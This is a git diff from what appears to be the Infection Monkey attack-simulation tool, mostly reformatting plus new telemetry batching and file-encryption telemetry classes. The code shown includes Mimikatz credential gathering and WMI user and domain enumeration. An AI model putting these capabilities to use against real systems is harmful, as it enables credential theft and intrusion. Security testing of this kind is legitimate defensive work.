super(WindowsInfoCollector, self).__init__()
self._config = infection_monkey.config.WormConfiguration
- self.info['reg'] = {}
- self.info['wmi'] = {}
+ self.info["reg"] = {}
+ self.info["wmi"] = {}
def get_info(self):
"""
@@ -40,27 +41,28 @@ class WindowsInfoCollector(InfoCollector):
# TODO: Think about returning self.get_wmi_info()
self.get_installed_packages()
from infection_monkey.config import WormConfiguration
+
if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes:
self.get_mimikatz_info()
return self.info
def get_installed_packages(self):
- LOG.info('Getting installed packages')
+ LOG.info("Getting installed packages")
- packages = subprocess.check_output("dism /online /get-packages", shell=True)
- self.info["installed_packages"] = packages.decode('utf-8', errors='ignore')
+ packages = subprocess.check_output(shlex.split("dism /online /get-packages"))
+ self.info["installed_packages"] = packages.decode("utf-8", errors="ignore")
- features = subprocess.check_output("dism /online /get-features", shell=True)
- self.info["installed_features"] = features.decode('utf-8', errors='ignore')
+ features = subprocess.check_output(shlex.split("dism /online /get-features"))
+ self.info["installed_features"] = features.decode("utf-8", errors="ignore")
- LOG.debug('Got installed packages')
+ LOG.debug("Got installed packages")
def get_wmi_info(self):
- LOG.info('Getting wmi info')
+ LOG.info("Getting wmi info")
for wmi_class_name in WMI_CLASSES:
- self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name)
- LOG.debug('Finished get_wmi_info')
+ self.info["wmi"][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name)
+ LOG.debug("Finished get_wmi_info")
def get_mimikatz_info(self):
LOG.info("Gathering mimikatz info")
@@ -70,8 +72,8 @@ class WindowsInfoCollector(InfoCollector):
if "credentials" in self.info:
self.info["credentials"].update(credentials)
self.info["mimikatz"] = credentials
- LOG.info('Mimikatz info gathered successfully')
+ LOG.info("Mimikatz info gathered successfully")
else:
- LOG.info('No mimikatz info was gathered')
+ LOG.info("No mimikatz info was gathered")
except Exception as e:
LOG.info(f"Mimikatz credential collector failed: {e}")
diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py
index a42472b82..d9b212661 100644
--- a/monkey/infection_monkey/system_info/wmi_consts.py
+++ b/monkey/infection_monkey/system_info/wmi_consts.py
@@ -1,31 +1,12 @@
-WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount",
- "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service",
- "Win32_OptionalFeature"}
-
-# These wmi queries are able to return data about all the users & machines in the domain.
-# For these queries to work, the monkey should be run on a domain machine and
-#
-# monkey should run as *** SYSTEM *** !!!
-#
-WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
- "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl",
- "DS_objectSid", "DS_objectClass", "DS_memberOf",
- "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime",
- "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp",
- "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"),
-
- "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName",
- "DS_sAMAccountType", "DS_objectSid", "DS_objectClass",
- "DS_name", "DS_memberOf", "DS_member", "DS_instanceType",
- "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"),
-
- "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires",
- "DS_adminDisplayName", "DS_badPasswordTime",
- "DS_badPwdCount", "DS_cn", "DS_distinguishedName",
- "DS_instanceType", "DS_lastLogoff", "DS_lastLogon",
- "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass",
- "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion",
- "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName",
- "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
- "DS_whenChanged", "DS_whenCreated"),
- }
+WMI_CLASSES = {
+ "Win32_OperatingSystem",
+ "Win32_ComputerSystem",
+ "Win32_LoggedOnUser",
+ "Win32_UserAccount",
+ "Win32_UserProfile",
+ "Win32_Group",
+ "Win32_GroupUser",
+ "Win32_Product",
+ "Win32_Service",
+ "Win32_OptionalFeature",
+}
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index f82e7be44..689e74979 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -5,17 +5,10 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
-__author__ = 'itamar'
-
LOG = logging.getLogger(__name__)
class _SystemSingleton(object, metaclass=ABCMeta):
- @property
- @abstractmethod
- def locked(self):
- raise NotImplementedError()
-
@abstractmethod
def try_lock(self):
raise NotImplementedError()
@@ -30,30 +23,25 @@ class WindowsSystemSingleton(_SystemSingleton):
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,)
self._mutex_handle = None
- @property
- def locked(self):
- return self._mutex_handle is not None
-
def try_lock(self):
assert self._mutex_handle is None, "Singleton already locked"
- handle = ctypes.windll.kernel32.CreateMutexA(None,
- ctypes.c_bool(True),
- ctypes.c_char_p(self._mutex_name.encode()))
+ handle = ctypes.windll.kernel32.CreateMutexA(
+ None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode())
+ )
last_error = ctypes.windll.kernel32.GetLastError()
if not handle:
- LOG.error("Cannot acquire system singleton %r, unknown error %d",
- self._mutex_name, last_error)
+ LOG.error(
+ "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error
+ )
return False
if winerror.ERROR_ALREADY_EXISTS == last_error:
- LOG.debug("Cannot acquire system singleton %r, mutex already exist",
- self._mutex_name)
+ LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name)
return False
self._mutex_handle = handle
- LOG.debug("Global singleton mutex %r acquired",
- self._mutex_name)
+ LOG.debug("Global singleton mutex %r acquired", self._mutex_name)
return True
@@ -68,20 +56,20 @@ class LinuxSystemSingleton(_SystemSingleton):
self._unix_sock_name = str(WormConfiguration.singleton_mutex_name)
self._sock_handle = None
- @property
- def locked(self):
- return self._sock_handle is not None
-
def try_lock(self):
assert self._sock_handle is None, "Singleton already locked"
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
- sock.bind('\0' + self._unix_sock_name)
+ sock.bind("\0" + self._unix_sock_name)
except socket.error as e:
- LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
- self._unix_sock_name, e.args[0], e.args[1])
+ LOG.error(
+ "Cannot acquire system singleton %r, error code %d, error: %s",
+ self._unix_sock_name,
+ e.args[0],
+ e.args[1],
+ )
return False
self._sock_handle = sock
diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py
index ba3fae8fd..cbb158bf4 100644
--- a/monkey/infection_monkey/telemetry/attack/attack_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py
@@ -1,11 +1,8 @@
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "VakarisZ"
-
class AttackTelem(BaseTelem):
-
def __init__(self, technique, status):
"""
Default ATT&CK telemetry constructor
@@ -19,7 +16,4 @@ class AttackTelem(BaseTelem):
telem_category = TelemCategoryEnum.ATTACK
def get_data(self):
- return {
- 'status': self.status.value,
- 'technique': self.technique
- }
+ return {"status": self.status.value, "technique": self.technique}
diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
index 999d8622a..545bb47d3 100644
--- a/monkey/infection_monkey/telemetry/attack/t1005_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
@@ -9,14 +9,11 @@ class T1005Telem(AttackTelem):
:param gathered_data_type: Type of data collected from local system
:param info: Additional info about data
"""
- super(T1005Telem, self).__init__('T1005', status)
+ super(T1005Telem, self).__init__("T1005", status)
self.gathered_data_type = gathered_data_type
self.info = info
def get_data(self):
data = super(T1005Telem, self).get_data()
- data.update({
- 'gathered_data_type': self.gathered_data_type,
- 'info': self.info
- })
+ data.update({"gathered_data_type": self.gathered_data_type, "info": self.info})
return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
index 4ca9dc93c..6a7867af2 100644
--- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
@@ -8,4 +8,4 @@ class T1035Telem(UsageTelem):
:param status: ScanStatus of technique
:param usage: Enum of UsageEnum type
"""
- super(T1035Telem, self).__init__('T1035', status, usage)
+ super(T1035Telem, self).__init__("T1035", status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
index 94be44a79..de2333ca8 100644
--- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
@@ -3,18 +3,17 @@ from infection_monkey.telemetry.attack.usage_telem import AttackTelem
class T1064Telem(AttackTelem):
def __init__(self, status, usage):
- # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques
+ # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem
+ # techniques
"""
T1064 telemetry.
:param status: ScanStatus of technique
:param usage: Usage string
"""
- super(T1064Telem, self).__init__('T1064', status)
+ super(T1064Telem, self).__init__("T1064", status)
self.usage = usage
def get_data(self):
data = super(T1064Telem, self).get_data()
- data.update({
- 'usage': self.usage
- })
+ data.update({"usage": self.usage})
return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
index 454391da8..939e2b3e2 100644
--- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
@@ -10,16 +10,12 @@ class T1105Telem(AttackTelem):
:param dst: IP of machine which downloaded the file
:param filename: Uploaded file's name
"""
- super(T1105Telem, self).__init__('T1105', status)
+ super(T1105Telem, self).__init__("T1105", status)
self.filename = filename
self.src = src
self.dst = dst
def get_data(self):
data = super(T1105Telem, self).get_data()
- data.update({
- 'filename': self.filename,
- 'src': self.src,
- 'dst': self.dst
- })
+ data.update({"filename": self.filename, "src": self.src, "dst": self.dst})
return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
index ffb69b698..816488f3b 100644
--- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
@@ -8,12 +8,10 @@ class T1107Telem(AttackTelem):
:param status: ScanStatus of technique
:param path: Path of deleted dir/file
"""
- super(T1107Telem, self).__init__('T1107', status)
+ super(T1107Telem, self).__init__("T1107", status)
self.path = path
def get_data(self):
data = super(T1107Telem, self).get_data()
- data.update({
- 'path': self.path
- })
+ data.update({"path": self.path})
return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py
index 769f93823..efd8dcd79 100644
--- a/monkey/infection_monkey/telemetry/attack/t1197_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py
@@ -1,23 +1,20 @@
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
-__author__ = "itay.mizeretz"
-
class T1197Telem(VictimHostTelem):
def __init__(self, status, machine, usage):
- # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques
+ # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem
+ # techniques
"""
T1197 telemetry.
:param status: ScanStatus of technique
:param machine: VictimHost obj from model/host.py
:param usage: Usage string
"""
- super(T1197Telem, self).__init__('T1197', status, machine)
+ super(T1197Telem, self).__init__("T1197", status, machine)
self.usage = usage
def get_data(self):
data = super(T1197Telem, self).get_data()
- data.update({
- 'usage': self.usage
- })
+ data.update({"usage": self.usage})
return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
index 4708c230a..30a0314ae 100644
--- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
@@ -9,12 +9,10 @@ class T1222Telem(VictimHostTelem):
:param command: command used to change permissions
:param machine: VictimHost type object
"""
- super(T1222Telem, self).__init__('T1222', status, machine)
+ super(T1222Telem, self).__init__("T1222", status, machine)
self.command = command
def get_data(self):
data = super(T1222Telem, self).get_data()
- data.update({
- 'command': self.command
- })
+ data.update({"command": self.command})
return data
diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py
index 4b47d8be3..3066fe3d3 100644
--- a/monkey/infection_monkey/telemetry/attack/usage_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py
@@ -2,7 +2,6 @@ from infection_monkey.telemetry.attack.attack_telem import AttackTelem
class UsageTelem(AttackTelem):
-
def __init__(self, technique, status, usage):
"""
:param technique: Id of technique
@@ -14,7 +13,5 @@ class UsageTelem(AttackTelem):
def get_data(self):
data = super(UsageTelem, self).get_data()
- data.update({
- 'usage': self.usage
- })
+ data.update({"usage": self.usage})
return data
diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py
index 9e277926c..66bc54f60 100644
--- a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py
@@ -1,10 +1,7 @@
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
-__author__ = "VakarisZ"
-
class VictimHostTelem(AttackTelem):
-
def __init__(self, technique, status, machine):
"""
ATT&CK telemetry.
@@ -14,11 +11,9 @@ class VictimHostTelem(AttackTelem):
:param machine: VictimHost obj from model/host.py
"""
super(VictimHostTelem, self).__init__(technique, status)
- self.machine = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr}
+ self.machine = {"domain_name": machine.domain_name, "ip_addr": machine.ip_addr}
def get_data(self):
data = super(VictimHostTelem, self).get_data()
- data.update({
- 'machine': self.machine
- })
+ data.update({"machine": self.machine})
return data
diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py
index 96e7a6288..2f8f68892 100644
--- a/monkey/infection_monkey/telemetry/base_telem.py
+++ b/monkey/infection_monkey/telemetry/base_telem.py
@@ -3,11 +3,11 @@ import json
import logging
from infection_monkey.control import ControlClient
+from infection_monkey.telemetry.i_telem import ITelem
logger = logging.getLogger(__name__)
LOGGED_DATA_LENGTH = 300 # How many characters of telemetry data will be logged
-__author__ = 'itay.mizeretz'
# TODO: Rework the interface for telemetry; this class has too many responsibilities
# (i.e. too many reasons to change):
@@ -23,14 +23,11 @@ __author__ = 'itay.mizeretz'
# logging and sending them.
-class BaseTelem(object, metaclass=abc.ABCMeta):
+class BaseTelem(ITelem, metaclass=abc.ABCMeta):
"""
Abstract base class for telemetry.
"""
- def __init__(self):
- pass
-
def send(self, log_data=True):
"""
Sends telemetry to island
@@ -40,13 +37,6 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
self._log_telem_sending(serialized_data, log_data)
ControlClient.send_telemetry(self.telem_category, serialized_data)
- @abc.abstractmethod
- def get_data(self) -> dict:
- """
- :return: Data of telemetry (should be dict)
- """
- pass
-
@property
def json_encoder(self):
return json.JSONEncoder
@@ -56,14 +46,6 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
if log_data:
logger.debug(f"Telemetry contents: {BaseTelem._truncate_data(serialized_data)}")
- @property
- @abc.abstractmethod
- def telem_category(self):
- """
- :return: Telemetry type
- """
- pass
-
@staticmethod
def _truncate_data(data: str):
if len(data) <= LOGGED_DATA_LENGTH:
diff --git a/monkey/infection_monkey/telemetry/batchable_telem_mixin.py b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py
new file mode 100644
index 000000000..905e9e91b
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py
@@ -0,0 +1,23 @@
+from typing import Iterable
+
+from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem
+
+
+class BatchableTelemMixin:
+ """
+ Implements the get_telemetry_batch() and add_telemetry_to_batch() methods from the
+ IBatchableTelem interface using a list.
+ """
+
+ @property
+ def _telemetry_entries(self):
+ if not hasattr(self, "_list"):
+ self._list = []
+
+ return self._list
+
+ def get_telemetry_batch(self) -> Iterable:
+ return self._telemetry_entries
+
+ def add_telemetry_to_batch(self, telemetry: IBatchableTelem):
+ self._telemetry_entries.extend(telemetry.get_telemetry_batch())
diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py
index 0a33d1484..e181b0243 100644
--- a/monkey/infection_monkey/telemetry/exploit_telem.py
+++ b/monkey/infection_monkey/telemetry/exploit_telem.py
@@ -1,11 +1,8 @@
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "itay.mizeretz"
-
class ExploitTelem(BaseTelem):
-
def __init__(self, exploiter, result):
"""
Default exploit telemetry constructor
@@ -20,9 +17,9 @@ class ExploitTelem(BaseTelem):
def get_data(self):
return {
- 'result': self.result,
- 'machine': self.exploiter.host.__dict__,
- 'exploiter': self.exploiter.__class__.__name__,
- 'info': self.exploiter.exploit_info,
- 'attempts': self.exploiter.exploit_attempts
+ "result": self.result,
+ "machine": self.exploiter.host.__dict__,
+ "exploiter": self.exploiter.__class__.__name__,
+ "info": self.exploiter.exploit_info,
+ "attempts": self.exploiter.exploit_attempts,
}
diff --git a/monkey/infection_monkey/telemetry/file_encryption_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py
new file mode 100644
index 000000000..7f18867ab
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py
@@ -0,0 +1,24 @@
+from pathlib import Path
+
+from common.common_consts.telem_categories import TelemCategoryEnum
+from infection_monkey.telemetry.base_telem import BaseTelem
+from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin
+from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem
+
+
+class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem):
+ def __init__(self, filepath: Path, success: bool, error: str):
+ """
+ File Encryption telemetry constructor
+ :param filepath: The path to the file that monkey attempted to encrypt
+ :param success: True if encryption was successful, false otherwise
+ :param error: An error message describing the failure. Empty unless success == False
+ """
+ super().__init__()
+
+ self._telemetry_entries.append({"path": filepath, "success": success, "error": error})
+
+ telem_category = TelemCategoryEnum.FILE_ENCRYPTION
+
+ def get_data(self):
+ return {"files": self._telemetry_entries}
diff --git a/monkey/infection_monkey/telemetry/i_batchable_telem.py b/monkey/infection_monkey/telemetry/i_batchable_telem.py
new file mode 100644
index 000000000..3503316fa
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/i_batchable_telem.py
@@ -0,0 +1,21 @@
+from __future__ import annotations
+
+import abc
+from typing import Iterable
+
+from infection_monkey.telemetry.i_telem import ITelem
+
+
+class IBatchableTelem(ITelem, metaclass=abc.ABCMeta):
+ """
+ Extends the ITelem interface and enables telemetries to be aggregated into
+ batches.
+ """
+
+ @abc.abstractmethod
+ def get_telemetry_batch(self) -> Iterable:
+ pass
+
+ @abc.abstractmethod
+ def add_telemetry_to_batch(self, telemetry: IBatchableTelem):
+ pass
diff --git a/monkey/infection_monkey/telemetry/i_telem.py b/monkey/infection_monkey/telemetry/i_telem.py
new file mode 100644
index 000000000..faaa0a65e
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/i_telem.py
@@ -0,0 +1,29 @@
+import abc
+
+
+class ITelem(metaclass=abc.ABCMeta):
+ @abc.abstractmethod
+ def send(self, log_data=True):
+ """
+ Sends telemetry to island
+ """
+
+ @abc.abstractmethod
+ def get_data(self) -> dict:
+ """
+ :return: Data of telemetry (should be dict)
+ """
+ pass
+
+ @property
+ @abc.abstractmethod
+ def json_encoder(self):
+ pass
+
+ @property
+ @abc.abstractmethod
+ def telem_category(self):
+ """
+ :return: Telemetry type
+ """
+ pass
diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py
new file mode 100644
index 000000000..123903fb0
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py
@@ -0,0 +1,108 @@
+import queue
+import threading
+import time
+from typing import Dict
+
+from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem
+from infection_monkey.telemetry.i_telem import ITelem
+from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
+
+DEFAULT_PERIOD = 5
+WAKES_PER_PERIOD = 4
+
+
+class BatchingTelemetryMessenger(ITelemetryMessenger):
+ """
+ An ITelemetryMessenger decorator that aggregates IBatchableTelem telemetries
+ and periodically sends them to Monkey Island.
+ """
+
+ def __init__(self, telemetry_messenger: ITelemetryMessenger, period=DEFAULT_PERIOD):
+ self._queue: queue.Queue[ITelem] = queue.Queue()
+ self._thread = self._BatchingTelemetryMessengerThread(
+ self._queue, telemetry_messenger, period
+ )
+
+ self._thread.start()
+
+ def __del__(self):
+ self._thread.stop()
+
+ def send_telemetry(self, telemetry: ITelem):
+ self._queue.put(telemetry)
+
+ class _BatchingTelemetryMessengerThread:
+ def __init__(
+ self, telem_queue: queue.Queue, telemetry_messenger: ITelemetryMessenger, period: int
+ ):
+ self._queue: queue.Queue[ITelem] = telem_queue
+ self._telemetry_messenger = telemetry_messenger
+ self._period = period
+
+ self._should_run_batch_thread = True
+ # TODO: Create a "timer" or "countdown" class and inject an object instead of
+ # using time.time()
+ self._last_sent_time = time.time()
+ self._telemetry_batches: Dict[str, IBatchableTelem] = {}
+
+ self._manage_telemetry_batches_thread = None
+
+ def start(self):
+ self._should_run_batch_thread = True
+ self._manage_telemetry_batches_thread = threading.Thread(
+ target=self._manage_telemetry_batches
+ )
+ self._manage_telemetry_batches_thread.start()
+
+ def stop(self):
+ self._should_run_batch_thread = False
+ self._manage_telemetry_batches_thread.join()
+ self._manage_telemetry_batches_thread = None
+
+ def _manage_telemetry_batches(self):
+ self._reset()
+
+ while self._should_run_batch_thread:
+ self._process_next_telemetry()
+
+ if self._period_elapsed():
+ self._send_telemetry_batches()
+ self._reset()
+
+ self._send_remaining_telemetry_batches()
+
+ def _reset(self):
+ self._last_sent_time = time.time()
+ self._telemetry_batches = {}
+
+ def _process_next_telemetry(self):
+ try:
+ telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD)
+
+ if isinstance(telemetry, IBatchableTelem):
+ self._add_telemetry_to_batch(telemetry)
+ else:
+ self._telemetry_messenger.send_telemetry(telemetry)
+ except queue.Empty:
+ pass
+
+ def _add_telemetry_to_batch(self, new_telemetry: IBatchableTelem):
+ telem_category = new_telemetry.telem_category
+
+ if telem_category in self._telemetry_batches:
+ self._telemetry_batches[telem_category].add_telemetry_to_batch(new_telemetry)
+ else:
+ self._telemetry_batches[telem_category] = new_telemetry
+
+ def _period_elapsed(self):
+ return (time.time() - self._last_sent_time) > self._period
+
+ def _send_remaining_telemetry_batches(self):
+ while not self._queue.empty():
+ self._process_next_telemetry()
+
+ self._send_telemetry_batches()
+
+ def _send_telemetry_batches(self):
+ for batchable_telemetry in self._telemetry_batches.values():
+ self._telemetry_messenger.send_telemetry(batchable_telemetry)
diff --git a/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py
new file mode 100644
index 000000000..cf5511e83
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py
@@ -0,0 +1,9 @@
+import abc
+
+from infection_monkey.telemetry.i_telem import ITelem
+
+
+class ITelemetryMessenger(metaclass=abc.ABCMeta):
+ @abc.abstractmethod
+ def send_telemetry(self, telemetry: ITelem):
+ pass
diff --git a/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py b/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py
new file mode 100644
index 000000000..cbbe03595
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py
@@ -0,0 +1,12 @@
+from infection_monkey.telemetry.i_telem import ITelem
+from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
+
+
+class LegacyTelemetryMessengerAdapter(ITelemetryMessenger):
+ """
+ Provides an adapter between modules that require an ITelemetryMessenger and the
+ legacy method for sending telemetry.
+ """
+
+ def send_telemetry(self, telemetry: ITelem):
+ telemetry.send()
diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py
index 15aa41247..aceb8d294 100644
--- a/monkey/infection_monkey/telemetry/post_breach_telem.py
+++ b/monkey/infection_monkey/telemetry/post_breach_telem.py
@@ -3,11 +3,8 @@ import socket
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "itay.mizeretz"
-
class PostBreachTelem(BaseTelem):
-
def __init__(self, pba, result):
"""
Default post breach telemetry constructor
@@ -23,11 +20,11 @@ class PostBreachTelem(BaseTelem):
def get_data(self):
return {
- 'command': self.pba.command,
- 'result': self.result,
- 'name': self.pba.name,
- 'hostname': self.hostname,
- 'ip': self.ip
+ "command": self.pba.command,
+ "result": self.result,
+ "name": self.pba.name,
+ "hostname": self.hostname,
+ "ip": self.ip,
}
@staticmethod
diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py
index a4dac1396..56cd051c4 100644
--- a/monkey/infection_monkey/telemetry/scan_telem.py
+++ b/monkey/infection_monkey/telemetry/scan_telem.py
@@ -1,11 +1,8 @@
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "itay.mizeretz"
-
class ScanTelem(BaseTelem):
-
def __init__(self, machine):
"""
Default scan telemetry constructor
@@ -17,7 +14,4 @@ class ScanTelem(BaseTelem):
telem_category = TelemCategoryEnum.SCAN
def get_data(self):
- return {
- 'machine': self.machine.as_dict(),
- 'service_count': len(self.machine.services)
- }
+ return {"machine": self.machine.as_dict(), "service_count": len(self.machine.services)}
diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py
index ba112f8b9..91b26f69d 100644
--- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py
+++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py
@@ -1,11 +1,11 @@
from ScoutSuite.output.result_encoder import ScoutJsonEncoder
from ScoutSuite.providers.base.provider import BaseProvider
+
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
class ScoutSuiteTelem(BaseTelem):
-
def __init__(self, provider: BaseProvider):
super().__init__()
self.provider_data = provider
@@ -14,6 +14,4 @@ class ScoutSuiteTelem(BaseTelem):
telem_category = TelemCategoryEnum.SCOUTSUITE
def get_data(self):
- return {
- 'data': self.provider_data
- }
+ return {"data": self.provider_data}
diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py
index 9ecd53c20..98aec3166 100644
--- a/monkey/infection_monkey/telemetry/state_telem.py
+++ b/monkey/infection_monkey/telemetry/state_telem.py
@@ -1,11 +1,8 @@
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "itay.mizeretz"
-
class StateTelem(BaseTelem):
-
def __init__(self, is_done, version="Unknown"):
"""
Default state telemetry constructor
@@ -18,7 +15,4 @@ class StateTelem(BaseTelem):
telem_category = TelemCategoryEnum.STATE
def get_data(self):
- return {
- 'done': self.is_done,
- 'version': self.version
- }
+ return {"done": self.is_done, "version": self.version}
diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py
index a7ac21456..554568dd4 100644
--- a/monkey/infection_monkey/telemetry/system_info_telem.py
+++ b/monkey/infection_monkey/telemetry/system_info_telem.py
@@ -1,11 +1,8 @@
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "itay.mizeretz"
-
class SystemInfoTelem(BaseTelem):
-
def __init__(self, system_info):
"""
Default system info telemetry constructor
diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py
index dfe3f762b..8e5922dca 100644
--- a/monkey/infection_monkey/telemetry/trace_telem.py
+++ b/monkey/infection_monkey/telemetry/trace_telem.py
@@ -3,13 +3,10 @@ import logging
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
-__author__ = "itay.mizeretz"
-
LOG = logging.getLogger(__name__)
class TraceTelem(BaseTelem):
-
def __init__(self, msg):
"""
Default trace telemetry constructor
@@ -22,6 +19,4 @@ class TraceTelem(BaseTelem):
telem_category = TelemCategoryEnum.TRACE
def get_data(self):
- return {
- 'msg': self.msg
- }
+ return {"msg": self.msg}
diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py
index b4e4a07e6..f8d562771 100644
